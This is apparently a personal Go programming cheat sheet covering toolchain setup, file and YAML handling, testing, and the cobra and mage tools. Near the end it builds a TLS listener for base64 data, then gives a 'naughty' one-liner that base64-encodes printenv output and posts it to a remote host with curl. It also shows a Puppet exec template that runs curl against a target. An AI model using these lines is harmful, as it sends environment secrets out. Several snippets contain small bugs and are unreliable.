git clone https://github.com/asdf-vm/asdf.git ~/.asdf
Create a global tool-versions file at ~/.tool-versions:
tool_versions_file="$HOME/.tool-versions"
cat > "$tool_versions_file" << EOF
ruby 3.1.2 # not necessary for this example
golang 1.20.5
python 3.11.3 # not necessary for this example
EOF
echo "Created $tool_versions_file"
Add the following to your dotfiles:
# Get setup file from my dotfiles
# Please read the code before executing!
setup_asdf_url="https://raw.githubusercontent.com/l50/dotfiles/main/files/setup_asdf.sh"
curl -s "${setup_asdf_url}" -o "${setup_asdf_path}"
# Get helper func from setup_asdf.sh
# shellcheck source=/dev/null
source "${HOME}/${setup_asdf_path}"
source "$HOME/.asdf/asdf.sh"
# Define language versions from global .tool-versions file
setup_language "golang" "global"
setup_language "python" "global" # not necessary for this example
setup_language "ruby" "global" # not necessary for this example
# Set and export environment variables
GOPATH=$(go env GOPATH)
GOROOT=$(go env GOROOT)
FILES="${HOME}/.dotfiles/files"
export GOPATH GOROOT GOBIN FILES
export PATH=$PATH:$GOPATH/bin:$GOROOT/bin
Resource: https://www.ookangzheng.com/asdf-to-manage-multiple-golang-on-mac
dl_link='https://dl.google.com/go/go1.15.7.linux-amd64.tar.gz'
wget -c $dl_link -O - | sudo tar -xz -C /usr/local
echo "" >> ~/.bashrc
echo '# Golang exports' >> ~/.bashrc
echo 'export PATH="$PATH:$:/usr/local/go/bin"' >> ~/.bashrc
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
source ~/.bashrc
# Test:
go version
Resource: https://golang.org/doc/install
Install it:
Add the following to ~/.zshrc:
export GOPATH=$HOME/programs/go
# Set GOROOT since we're using brew
export GOROOT="$(brew --prefix golang)/libexec"
# Add go to PATH - so we can run executables from anywhere
export PATH="$PATH:${GOPATH}/bin:${GOROOT}/bin"
Resource: https://medium.com/@krisma/gopath-and-goroot-set-up-in-mac-and-in-vscode-cf86d8503e57
To use a specific version of go, you can do the following in VSCode:
Open your VSCode settings file depending on what OS you’re using:
Windows: %APPDATA%\Code\User\settings.json
macOS: $HOME/Library/Application\ Support/Code/User/settings.json
Linux: $HOME/.config/Code/User/settings.json
Add the values for your environment:
{
"go.gopath": "/Users/kresna/.gvm/pkgsets/go1.19.1/global",
"go.goroot": "/Users/kresna/.gvm/gos/go1.19.1"
}
Resource: https://kresna.dev/vscode-settings-for-golang-through-gvm/
This will create the project:
GIT_ACCT_NAME='l50'
PROJECT_NAME='awesomegoproject'
mkdir -p "${GOPATH}/src/github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"
cd $_
go mod init "github.com/${GIT_ACCT_NAME}/${PROJECT_NAME}"
Resource: https://golang.org/doc/code.html
export GO111MODULE=off
go get github.com/<git account name>/<project name>
You’ll be able to find the code in
$GOPATH/src/github.com/<git account name>/<project name>
Resource: https://stackoverflow.com/questions/66284870/go-get-not-downloading-to-src-folder
Get any dependencies you’ve defined in go code you’ve put in place
COMMIT=83490424629dc4b4c91b39c47bdd18b1b6510743
go get github.com/l50/awsutils@$COMMIT
A function that starts with a lowercase letter is only available within the package in which it’s defined.
A function that start with an uppercase letter is available to any packages in your program.
var a string = "Hello"
var b string = "World"
c := fmt.Sprintf("%s %s!", a, b)
fmt.Println(c)
Start debugger:
Set breakpoint on line 36 in main.go:
Set breakpoint on line 8 in anotherGoFile.go:
Debug program with command line arguments (after compiling)
dlv debug -- -a argument -b another_argument
Print contents of the b variable
Restart the debugging process
Resources: https://github.com/derekparker/delve/issues/178 https://www.youtube.com/watch?v=zgLjVD5ZSOc
func RemoveTrailingEmptyStringsInStringArray(sa []string) []string {
lastNonEmptyStringIndex := len(sa) - 1
for i := lastNonEmptyStringIndex; i >= 0; i-- {
if sa[i] == "" {
lastNonEmptyStringIndex--
} else {
break
}
}
return sa[0 : lastNonEmptyStringIndex+1]
}
func readLines(filePath string) ([]string, error) {
b, err := os.ReadFile(filePath)
if err != nil {
return nil, err
}
return RemoveTrailingEmptyStringsInStringArray(strings.Split(string(b), "\n"))
, nil
}
func removeExtn(input string) string {
if len(input) > 0 {
if i := strings.LastIndex(input, "."); i > 0 {
input = input[:i]
}
}
return input
}
Resource: https://play.golang.org/p/Agak4g66pfb - playground and source
// Helper function to determine if a command is installed
func CommandExists(cmd string) bool {
_, err := exec.LookPath(cmd)
if err != nil {
fmt.Printf("%v\n", err)
return false
}
return true
}
Resource: https://gist.github.com/miguelmota/ed4ec562b8cd1781e7b20151b37de8a0
func uploadFile(targetUrl string, fileName string) error {
bodyBuffer := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuffer)
fileWriter, err := bodyWriter.CreateFormFile("fileToUpload", payload)
if err != nil {
return err
}
fh, err := os.Open(fileName)
if err != nil {
fmt.Printf("Error opening file: %v\n", err)
return err
}
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(
fmt.Sprintf("http://%s/upload.php", targetUrl), contentType, bodyBuffer)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(respBody))
return nil
}
Resource: Upload file via POST request in golang
OSX 64-bit:
env GOOS=darwin GOARCH=amd64 go build -o osx
Linux 64-bit:
env GOOS=linux GOARCH=amd64 go build -o linux
Resources: https://www.digitalocean.com/community/tutorials/how-to-build-go-executables-for-multiple-platforms-on-ubuntu-16-04 https://stackoverflow.com/questions/42706246/how-to-build-executable-with-name-other-than-golang-package
You can natively return multiple values in go. Here’s a basic function example (specifically the declaration and return):
func greatFunc(param1 string, param2 string, param3 string) (bool, string) {
// body omitted
return true, returnString
Resource: https://gobyexample.com/multiple-return-values
var payload = ` include myfile
}`
Resource: https://play.golang.org/p/kcupXFwzgrZ
This particular example is found in my goutils:
// FindExportedFunctionsInPackage finds all exported functions in a given Go
// package by parsing all non-test Go files in the package directory. It returns
// a slice of FuncInfo structs. Each contains the file path and the name of an
// exported function. If no exported functions are found in the package, an
// error is returned.
//
// **Parameters:**
//
// pkgPath: A string representing the path to the directory containing the package
// to search for exported functions.
//
// **Returns:**
//
// []FuncInfo: A slice of FuncInfo structs, each containing the file path and the
// name of an exported function found in the package.
// error: An error if no exported functions are found.
// LogInfo represents parameters used to manage logging throughout
// a program.
//
// **Attributes:**
//
// Dir: A string representing the directory where the log file is located.
// File: An afero.File object representing the log file.
// FileName: A string representing the name of the log file.
// Path: A string representing the full path to the log file.
type LogInfo struct {
Dir string
File afero.File
FileName string
Path string
}
// File is an interface representing a system file.
//
// **Methods:**
//
// Open: Opens the file, returns a io.ReadCloser and an error.
// Write: Writes contents to the file, returns an error.
// RemoveAll: Removes a file or directory at the specified path, returns an error.
// Stat: Retrieves the FileInfo for the specified file or directory,
// returns an os.FileInfo and an error.
// Remove: Removes the specified file or directory, returns an error.
type File interface {
Open() (io.ReadCloser, error)
Write(contents []byte, perm os.FileMode) error
RemoveAll() error
Stat() (os.FileInfo, error)
Remove() error
}
path := filepath.Join("/tmp", "foo" ,"bar")
if _, err := os.Stat(path); errors.Is(err, os.ErrNotExist) {
if err := os.Mkdir(path, os.ModePerm); err != nil {
return err
}
}
Resources:
import "strconv"
strconv.Itoa(123) // "123"
Resource: https://stackoverflow.com/questions/10105935/how-to-convert-an-int-value-to-string-in-go
package main
import (
"fmt"
"os"
"strings"
)
func main() {
var text string
fmt.Print("Enter text: ")
// get the sub string to search from the user
fmt.Scanln(&text)
// read the whole file at once
b, err := os.ReadFile("input.txt")
if err != nil {
panic(err)
}
s := string(b)
// //check whether s contains substring text
fmt.Println(strings.Contains(s, text))
}
Resource: https://stackoverflow.com/questions/37194739/how-check-whether-a-file-contains-a-string-or-not
import (
"strings"
)
srcString := "blablabla"
subString := "bla"
if strings.Contains(srcString, subString) {
fmt.Printf("%s is present in %s.\n", subString, srcString)
} else {
fmt.Printf("%s is not present in %s.\n", subString, srcString)
}
Resources: https://stackoverflow.com/questions/45266784/go-test-string-contains-substring https://appdividend.com/2020/04/13/golang-string-contains-function-contains-function-in-go/ https://www.tutorialkart.com/golang-tutorial/golang-check-if-string-contains-a-substring/
import "fmt"
import "path/filepath"
func main() {
t := "/etc/init.d/somefile"
fmt.Printf("base is %q dir is %q is it absolute? %v\n",
filepath.Base(t),
filepath.Dir(t),
filepath.IsAbs(t))
d, f := filepath.Split(t)
fmt.Printf("split returns file %q dir %q\n", f, d)
fmt.Printf("clean it up %q", filepath.Clean("a/b/c/../d//////../../f"))
}
If you need to return a filepath:
d := "/etc/bla/bla2/bla3/"
filepath.Clean(filepath.Join(d, "../")) // /etc/bla/bla2
fmt.Println(filepath.Dir("/root/.ansible/site.yml"))
Playground: https://play.golang.org/p/nlcH1G3x5Vs
base := filepath.Base("/home/dennis/IdeaProjects/Playground/hello.go")
fmt.Println("Base:", base)
# returns hello.go
Resource: https://ispycode.com/GO/Path-and-Filepath/Last-element-of-path
usr, _ := user.Current()
dir := usr.HomeDir
if path == "~" {
// In case of "~", which won't be caught by the "else if"
path = dir
} else if strings.HasPrefix(path, "~/") {
// Use strings.HasPrefix so we don't match paths like
// "/something/~/something/"
path = filepath.Join(dir, path[2:])
}
Resource: https://stackoverflow.com/questions/17609732/expand-tilde-to-home-directory
filename := "file.txt"
name := "bob"
content := fmt.Sprintf("Stuff and things go into this string for %s\n", name)
f, err := os.Create(filename)
if err != nil {
fmt.Printf("Failed to create file: %v\n", err)
return err
}
defer f.Close()
_, err = f.WriteString(content)
if err != nil {
fmt.Printf("Failed to write content to %s: %v\n", filename, err)
return err
}
return nil
Resource: https://zetcode.com/golang/writefile/
The person that put this together is a hero (Gustavo Bittencourt).
package main
import (
"log"
"os"
"path"
"text/template"
)
type Command struct {
ClassName string
CmdName string
Cmd string
}
func main() {
command := Command{
ClassName: "my_cmd",
CmdName: "cmd",
Cmd: "curl target.com:8001/asdf",
}
t := template.New("puppetModule.tmpl")
t, err := t.ParseFiles(path.Join("templates", "puppetModule.tmpl"))
if err != nil {
log.Fatal("Parse: ", err)
}
err = t.Execute(os.Stdout, command)
if err != nil {
log.Fatal("Execute: ", err)
}
}
puppetModule.tmpl:
class {{.ClassName}} {
exec { '{{.CmdName}}':
path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
command => '{{.Cmd}}'
}
}
Resource: https://stackoverflow.com/questions/67201708/go-update-all-modules
Obviously, this is not ideal (observe the -insecure flag):
go get -u -v -insecure "${TARGET_GO_PROJ}"
From go help get:
-u: Look for updates to existing packages
-v: Verbose progress and debug output
Resource: https://github.com/golang/go/issues/18519
import (
"fmt"
"math/rand"
"time"
)
func randInt(min int, max int) int {
return min + rand.Intn(max-min)
}
func main() {
start := 1
finish := 6
rand.Seed(time.Now().UTC().UnixNano())
fmt.Printf("%v", rand.Intn(finish-start)+start)
}
Resources: https://stackoverflow.com/questions/44659343/how-to-choose-a-random-number-from-the-range https://golang.cafe/blog/golang-random-number-generator.html
import "strings"
strings.ToLower("Gopher")
import (
"os"
"log"
)
func CpFile(src string, dst string) {
input, err := os.ReadFile(src)
if err != nil {
log.Println(err)
return
}
err = os.WriteFile(dst, input, 0644)
if err != nil {
log.Println("Error creating", dst)
log.Println(err)
return
}
}
Resource: https://opensource.com/article/18/6/copying-files-go
package main
import (
"fmt"
"runtime"
)
func main() {
if runtime.GOOS == "linux" {
fmt.Println("You are running on Linux")
} else if runtime.GOOS == "darwin" {
fmt.Println("You are running on OSX")
} else if runtime.GOOS == "windows" {
fmt.Println("You are running on Windows")
} else {
fmt.Println("Unsupported OS detected")
}
}
Playground: https://play.golang.org/p/ULd8sMpy0dt Resource: https://golangcode.com/detect-if-code-is-running-on-windows-at-runtime/
Resource: https://bialon.net/post/how-to-go-get-private-repos/
func Gwd() string {
dir, err := os.Getwd()
if err != nil {
log.Fatalln(err)
}
return dir
}
Resource: https://gist.github.com/arxdsilva/4f73d6b89c9eac93d4ac887521121120
go get github.com/some/tool@v1.0.1
Resource: https://stackoverflow.com/questions/53368187/go-modules-installing-go-tools
package some_test
import (
"testing"
)
func TestSomething(t *testing.T) {
tests := []struct{
name string
// input and output go here
}{
{
name: "something"
// input and output go here
},
{
name: "another thing"
// input and output go here
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
// call function or method being tested
// check outcome
})
}
}
Resource: https://youtu.be/LEnXBueFBzk?t=231
You can provide examples of how to use your code
by creating a test with Example prefix:
package docs_test
import (
"fmt"
"log"
"os"
"strings"
"github.com/l50/goutils/v2/docs"
"github.com/l50/goutils/v2/fileutils"
)
func ExampleFixCodeBlocks() {
input := `Driver represents an interface to Google Chrome using go.
It contains a context.Context associated with this Driver and
Options for the execution of Google Chrome.
` + "```go" + `
browser, err := cdpchrome.Init(true, true)
if err != nil {
fmt.Printf("failed to initialize a chrome browser: %v", err)
return
}
` + "```"
language := "go"
// Create a temporary file
tmpfile, err := os.CreateTemp("", "example.*.md")
if err != nil {
fmt.Printf("failed to create temp file: %v", err)
return
}
defer os.Remove(tmpfile.Name()) // clean up
// Write the input to the temp file
if _, err := tmpfile.Write([]byte(input)); err != nil {
fmt.Printf("failed to write to temp file: %v", err)
return
}
if err := tmpfile.Close(); err != nil {
fmt.Printf("failed to close temp file: %v", err)
return
}
// Run the function
file := fileutils.RealFile(tmpfile.Name())
if err := docs.FixCodeBlocks(file, language); err != nil {
fmt.Printf("failed to fix code blocks: %v", err)
return
}
// Read the modified content
content, err := os.ReadFile(tmpfile.Name())
if err != nil {
fmt.Printf("failed to read file: %v", err)
return
}
// Print the result
fmt.Println(strings.TrimSpace(string(content)))
// Output:
// Driver represents an interface to Google Chrome using go.
//
// It contains a context.Context associated with this Driver and
// Options for the execution of Google Chrome.
//
// ```go
// browser, err := cdpchrome.Init(true, true)
//
// if err != nil {
// fmt.Printf("failed to initialize a chrome browser: %v", err)
// return
// }
// ```
}
Resource: https://go.dev/blog/examples
As of 1.12, you can no longer use GOCACHE=off, i.e.
GOCACHE=off go test -v -race ./...
However, you can use -count=1. For example:
go test -v -count=1 -race ./...
Resources: https://github.com/golang/go/issues/26809 https://github.com/golang/go/issues/22758
This particular example will only run the tests
in the prometheus directory:
DIR_WITH_TESTS=prometheus
go test -v -race "./.../${DIR_WITH_TESTS}"
Resource: https://stackoverflow.com/questions/19200235/golang-tests-in-sub-directory
This example runs TestGwd:
go test -v -run ^TestGwd$ github.com/l50/goutils
An private function requires a little hack to write unit tests for. The steps are as follows:
Create a export_test.go file in which you will create an exported variable
that points to the unexported function. For example:
package <package in which the unexported function exists>
var Backup = backup
Create your normal _test file and be sure to reference the
exported variable you created in export_test.go
Resource: https://medium.com/@robiplus/golang-trick-export-for-test-aa16cbd7b8cd
#!/bin/bash
set -e
logfile="test_log.txt"
rm -f "$logfile"
for d in ./*/ ; do
if [[ $d != ./.*/ ]]; then
(
echo "Running tests in: $d"
start=$(date +%s)
go test -failfast -race -v "$d..." > "${d//\//_}.log" 2>&1
end=$(date +%s)
duration=$((end - start))
echo "Tests in $d took $duration seconds." >> "${d//\//_}.log"
) &
fi
done
# Wait for all background tasks to finish
wait
# Combine all the individual log files into one
cat ./*.log >> "$logfile"
# Remove individual log files
rm ./*.log
A slice is essentially an array in Golang.
cmd := "puppetserver ca list --all"
strArr := strings.Fields(cmd)
fmt.Println(strArr[0])
// Will print: puppetserver
Resource: https://stackoverflow.com/questions/13737745/split-a-string-on-whitespace-in-go
strings.Join(arr []string, separator string) string
Resource: https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string
func stringInSlice(a string, list []string) bool {
for _, b := range list {
if b == a {
return true
}
}
return false
}
Example usage:
if stringInSlice("bla", blaSlice) {
fmt.Println("Gotem!")
}
Resources: https://stackoverflow.com/questions/15323767/does-go-have-if-x-in-construct-similar-to-python https://play.golang.org/p/j6hP7lygR33 - hands-on example https://play.golang.org/p/NoucaeldZoO - another hands-on example
package main
import (
"fmt"
"log"
"os"
)
func main() {
f, err := os.Create("data.txt")
if err != nil {
log.Fatal(err)
}
defer f.Close()
words := []string{"sky", "falcon", "rock", "hawk"}
for _, word := range words {
_, err := f.WriteString(word + "\n")
if err != nil {
log.Fatal(err)
}
}
fmt.Println("done")
}
Resource: https://zetcode.com/golang/writefile/
Resource: https://stackoverflow.com/questions/37429248/skip-first-element-of-an-array-in-golang
s := string([]byte{65, 66, 67, 226, 130, 172})
fmt.Println(s) // ABC€
Resource: https://yourbasic.org/golang/convert-string-to-byte-slice/
strings.Join(arr []string, separator string) string
Resource: https://stackoverflow.com/questions/41756412/golang-convert-type-string-to-string
Reads an input file into a slice
func fileToSlice(fileName string) ([]string, error) {
b, err := os.ReadFile(fileName)
if err != nil {
return nil, err
}
return strings.Split(string(b), "\n"), nil
}
Resource: https://socketloop.com/tutorials/golang-read-a-file-into-an-array-or-slice-example
Create new go.mod file:
Ensure go.mod matches source code in the module, adds missing module requirements
for all packages, and removes requirements that don’t provide relevant packages:
Resources: https://blog.golang.org/migrating-to-go-modules https://medium.com/@fonseka.live/getting-started-with-go-modules-b3dac652066d https://golang.org/ref/mod#go-mod-tidy
m := "stuff to write in file"
err = os.WriteFile("./file.txt", m, 0644)
if err != nil {
log.Printf("error: %v", err)
}
package main
import (
"fmt"
"log"
"os"
)
func main() {
f, err := os.Create("data.txt")
if err != nil {
log.Fatal(err)
}
defer f.Close()
_, err2 := f.WriteString("old falcon\n")
if err2 != nil {
log.Fatal(err2)
}
fmt.Println("done")
}
Resource: https://zetcode.com/golang/writefile/
af, err := os.OpenFile(asnsFile,os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("error: %v", err)
}
irf, err := os.OpenFile(ipRangesFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("error: %v", err)
}
defer af.Close()
defer irf.Close()
if _, err := af.WriteString("stuff\n"); err != nil {
log.Fatalf("Error writing to %v: %v", af, err)
}
if _, err := irf.WriteString("More stuff!\n"); err != nil {
log.Fatalf("Error writing to %v: %v", irf, err)
}
Begin by using https://mengzhuo.github.io/yaml-to-go/ to create a struct for the yaml file, for example:
type ansible []struct {
Name string `yaml:"name"`
Hosts string `yaml:"hosts"`
Become bool `yaml:"become"`
Roles []string `yaml:"roles"`
}
Once you’ve done that, read the yaml file and unmarshal it into the struct:
b, err := os.ReadFile("./ansible.yml")
if err != nil {
log.Fatal(err)
}
d := ansible{}
err = yaml.Unmarshal(b, &d)
if err != nil {
log.Fatal(err)
}
log.Printf("%v", d)
If you make modifications to the yaml, marshal it and write it back to the file:
d[0].Roles = append(d[0].Roles, "hello2")
log.Printf("%v", d)
m, err := yaml.Marshal(&d)
if err != nil {
log.Fatalf("error: %v", err)
}
err = os.WriteFile("./ansible_modified.yml", m, 0644)
if err != nil {
log.Fatalf("error: %v", err)
}
// GetYamlFile returns the input YAML file as a byte slice.
func GetYamlFile(yamlFile string) ([]byte, error) {
yfile, err := os.ReadFile(yamlFile)
if err != nil {
return nil, err
}
return yfile, nil
}
yamlFileLoc := "file.yaml"
yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
log.WithError(err).Error("Failed to read the input yaml file.")
os.Exit(1)
}
// PrintYaml prints the contents of the input YAML file.
func PrintYaml(yamlFile []byte) {
fmt.Printf("---\n%s\n", string(yamlFile))
}
yfile, err := GetYamlFile(yamlFileLoc)
if err != nil {
log.WithError(err).Error("Failed to read the input yaml file.")
os.Exit(1)
}
PrintYaml(yfile)
You can figure out the struct format by using this site.
type Animal struct {
Name string `yaml:"name"`
Description string `yaml:"description"`
Species string `yaml:"species"`
}
// GetAnimalMap returns the contents of the input animal YAML
// file as a map of Animals.
func GetAnimalMap(yamlFile []byte) (map[string]Animal, error) {
animalList := make(map[string]Animal)
if err := yaml.Unmarshal(yamlFile, &animalList); err != nil {
return nil, err
}
return animalList, nil
}
animalMap, err := GetAnimalMap(yfile)
if err != nil {
log.WithError(err)
os.Exit(1)
}
// Print unmarshalled YAML
for k, v := range animalList {
fmt.Printf("Name: %s\n", v.Name)
fmt.Printf("Description: %s\n", v.Description)
fmt.Printf("Species: %s\n\n", v.Species)
}
Resources: https://github.com/go-yaml/yaml https://gist.github.com/ka2n/4457eacdb6c986624eb29cc02fe8d31c https://play.golang.org/p/nYZCWIi2hxa
var data2 = `
---
- hosts: all
remote_user: root
roles:
- common
- hosts: lb_servers
remote_user: root
roles:
- lb-nginx
- hosts: backend_servers
remote_user: root
roles:
- tomcat
- hosts: memcached_servers
remote_user: root
roles:
- memcached
`
Resource: https://github.com/ansible/ansible-examples/blob/master/tomcat-memcached-failover/site.yml
// Create new empty set
set := make(map[string]bool)
// Add new element to the set
set["bla"] = true
// Print the elements of the set
for k := range set {
fmt.Println(k)
}
// Add item to set if it's not already there
if !set["bla"] {
set["bla"] = true
}
Resources: https://yourbasic.org/golang/implement-set/ https://play.golang.org/p/T2TR_Aib-H7
file := "ansible.cfg.old"
matched, _ := regexp.MatchString(`ansible.cfg$`, file)
// Return false
fmt.Println(matched)
Resources: https://yourbasic.org/golang/regexp-cheat-sheet/ https://play.golang.org/p/UUqSQHCqMsZ
This will match valid hostnames as per RFC 1123.
line := "hostname.example.com"
validHostname, _ := regexp.MatchString(`
^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9]
[A-Za-z0-9\-]*[A-Za-z0-9])$`, line)
if validHostname {
fmt.Println(line)
}
Resources: https://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address https://play.golang.org/p/Mhckhn4jj3r
err := os.Rename(filepath.FromSlash(fmt.Sprintf("content/post/%s", file)), noPublishFolder)
check(err)
Resource: https://channaly.medium.com/string-interpolation-in-golang-ecb3bcb2d600
This is very helpful if you’re trying to do something like copying a big slice into the The Go Playground, or want to get a sense of how something looks in go.
fmt.Printf("%#v", bigSlice)
Resource: https://stackoverflow.com/questions/24489384/how-to-print-the-values-of-slices
// Operating from /home/user/dir
absFilePath = ""
path, err := filepath.Abs(Cli.FilePath)
if err != nil {
log.Printf("Error getting absolute path from %s", path)
}
absFilePath = path
Get the CLI:
go get github.com/gojp/goreportcard/cmd/goreportcard-cli
Navigate to the directory you want to run it on, and then run:
Resource: https://github.com/gojp/goreportcard
package validators
import (
"fmt"
"net"
"regexp"
"strings"
)
// IsEmailValid checks an input email to determine
// if it is a valid email address.
// Code was found at: https://golangcode.com/validate-an-email-address/
func IsEmailValid(email string) bool {
var emailRegex = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$")
fmt.Printf("Validating email: %s\n", email)
if len(email) < 3 && len(email) > 254 {
return false
}
if !emailRegex.MatchString(email) {
return false
}
parts := strings.Split(email, "@")
mx, err := net.LookupMX(parts[1])
if err != nil || len(mx) == 0 {
fmt.Printf("Error, invalid email: %s", email)
return false
}
return true
}
Resource: https://golangcode.com/validate-an-email-address/
var x interface{} = r.FormValue("email")
xType := fmt.Sprintf("%T", x)
fmt.Println(xType) // "string"
Resource: https://yourbasic.org/golang/find-type-of-object/
Can be found here: https://golang.org/src/net/http/status.go
fooType := reflect.TypeOf(result)
for i := 0; i < fooType.NumMethod(); i++ {
method := fooType.Method(i)
fmt.Println(method.Name)
}
Resource: https://stackoverflow.com/questions/21397653/how-to-dump-methods-of-structs-in-golang
import (
"fmt"
"net/http/httputil"
)
requestDump, err := httputil.DumpRequest(request, true)
if err != nil {
fmt.Println(err)
}
fmt.Println(string(requestDump)
Resource: https://medium.com/doing-things-right/pretty-printing-http-requests-in-golang-a918d5aaa000
This can be used to decode base64 input from a POST request and output it to a file.
Interestingly, as I was building this in the first place,
I found that using r.ParseForm
was giving me different base64 than if
I ran the output through httputil.DumpRequest.
Suffice it to say, the final solution is suited to a very particular case, and you should definitely never even remotely consider running it in production EVER.
Generate the self signed cert and key:
openssl req \
-x509 \
-nodes \
-new \
-keyout server.key \
-out server.crt \
-days 3650 \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=yourhostname.com"
main.go:
package main
import (
b64 "encoding/base64"
"fmt"
"os"
"log"
"net/http"
"net/http/httputil"
"path/filepath"
"regexp"
"time"
)
func genFileName() string {
t := time.Now()
return t.Format(time.RFC3339) + ".txt"
}
func endpoint(w http.ResponseWriter, r *http.Request) {
// Make sure input is a POST request
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusMethodNotAllowed)
fmt.Fprintf(w, "invalid_http_method")
return
}
// Dump the request because we're not getting the right base64 value
// when we do things properly with r.ParseForm()
requestDump, err := httputil.DumpRequest(r, true)
if err != nil {
fmt.Println(err)
}
// For debugging purposes:
//fmt.Println(string(requestDump))
dataRegex := regexp.MustCompile(`stuff=(.*)`)
groups := dataRegex.FindStringSubmatch(string(requestDump))
decoded, err := b64.StdEncoding.DecodeString(groups[1])
if err != nil {
fmt.Println("decode error:", err)
return
}
// print data when it comes in
fmt.Println(string(decoded))
// write the decoded data to a file
filename := genFileName()
err = os.WriteFile(filepath.Join("data", filename), []byte(decoded), 0644)
if err != nil {
log.Fatalf("error: %v", err)
}
fmt.Fprintf(w, "Data received, thanks!")
}
func main() {
port := ":8080"
mux := http.NewServeMux()
mux.HandleFunc("/data", endpoint)
log.Fatal(http.ListenAndServeTLS(port, "server.crt", "server.key", mux))
}
Send data to it:
echo "stuff=bla" | curl -X POST -k https://yourhostname.com:8080/data -d @-
For example, if you’re being naughty, you might do something like:
env_data=$(printenv | base64 -w 0)
echo "stuff=$env_data" | curl -X POST -k https://yourhostname.com:8080/data -d @-
If you’re being naughty and thinking about operational security,
you can use the client certificate instead of the -k flag.
More details on how to do that here.
Resources:
func outputToFile(filepath string, content []byte,
permissions os.FileMode) bool {
err := os.WriteFile(filepath, content, permissions)
if err != nil {
log.Printf("error: %v", err)
return false
}
return true
}
success := outputToFile(filepath.Join("~/ubuntu/output.txt", stufftowrite, 0644))
if success == true {
fmt.Println("Wrote output to file successfully!")
}
GITHUB_USER=l50
APP_NAME=myapp
mkdir "${APP_NAME}"
cd $_
go mod init "github.com/${GITHUB_USER}/${APP_NAME}"
go install github.com/spf13/cobra-cli@latest
Resources: https://dzone.com/articles/how-to-create-a-cli-in-go-in-few-minutes https://towardsdatascience.com/how-to-create-a-cli-in-golang-with-cobra-d729641c7177
CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT
cobra-cli init -a "${CONTACT}" -l "${LICENSE}"
CONTACT=Your Name <youremail@wherever.com>
LICENSE=MIT
CMD_NAME=commandname
cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"
CMD_NAME=new
SUB_CMD_NAME=subnew
cobra-cli add "${CMD_NAME}" -a "${CONTACT}" -l "${LICENSE}"
cobra-cli add -p "${SUB_CMD_NAME}"
APP_NAME=myapp
go install "${APP_NAME}"
This saves you from having to add this information each time you create a new cobra project.
~/.cobra.yaml:
https://ordina-jworks.github.io/development/2018/10/20/make-your-own-cli-with-golang-and-cobra.html
fmt.Println(viper.AllSettings())
fmt.Println(viper.AllKeys())
Resources:
Folder structure for example:
root
├── client
│ ├── go.mod
│ └── main.go
└── lib
├── go.mod
└── lib.go
Add the following to go.mod:
require github.com/owner/root/lib v0.0.0
replace github.com/owner/root/lib => ../lib
Resource: https://stackoverflow.com/questions/62164408/go-modules-without-remote-repository
This example will use the Startfield repo that is a fork of the mdanidl guac-api:
replace github.com/mdanidl/guac-api => github.com/Startfield/guac-api latest
go install github.com/magefile/mage@latest
# Grab relevant string from git config for repo cloned with SSH
REPO=$(cat .git/config | grep github | awk -F '@' '{print $2}' | \
tr ':' '/' | rev | cut -c5- | rev)
# Grab relevant string from git config for repo cloned with HTTPS
REPO="$(cat .git/config | grep url | \
awk -F 'https://' '{print $2}' | rev | cut -c5- | rev)"
go mod init "${REPO}"
Resource: Remove last n chars from string
err := sh.Run("docker-compose", "down", "-v")
if err != nil {
fmt.Printf("Failed to destroy the containers: %v\n", err)
return err
}
Resource: https://github.com/magefile/mage/blob/master/magefile.go
output, err := sh.Output("whoami")
if err != nil {
fmt.Printf("Failed to figure out who I am :(")
return err
}
if strings.Contains(output, "apache") {
fmt.Println(output)
} else {
fmt.Printf("Not currently the apache user.\n")
}
Resource: https://carolynvanslyck.com/blog/2021/01/mage-is-my-favorite-make/
In order for these wonderful tools to place nicely you need to make some modifications. For this example, we’ll pretend there isn’t a pre-existing magefile:
mkdir magefiles
cd $_
cat > go.mod <<- EOM
module magefile
go 1.19
require (
github.com/magefile/mage v1.12.1
)
EOM
mage -init
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug Mage Task",
"type": "go",
"request": "launch",
"mode": "auto",
"program": "${workspaceFolder}/magefiles/mage_output_file.go",
"args": ["<Your_Mage_Task>"],
// Pass magefile as a separate argument,
// VSCode doesn't allow more than one file in "program".
"buildFlags": "magefile.go",
"preLaunchTask": "create mage_output_file.go and run code to debug",
"postDebugTask": "delete mage_output_file.go"
}
]
}
{
"version": "2.0.0",
"tasks": [
{
"label": "create mage_output_file.go and run code to debug",
"type": "shell",
"command": "mage --keep"
},
{
"label": "delete mage_output_file.go",
"type": "shell",
"command": "rm -f mage_output_file.go"
}
]
}
func Compile() error {
fmt.Println(Compiling the code")
env := map[string]string{
"GOOS": "linux",
"GOARCH": "amd64",
}
return sh.RunWith(env, "go", "build")
}
If you want to run go vet as a pre-commit command, you’ll need to
create a custom solution.
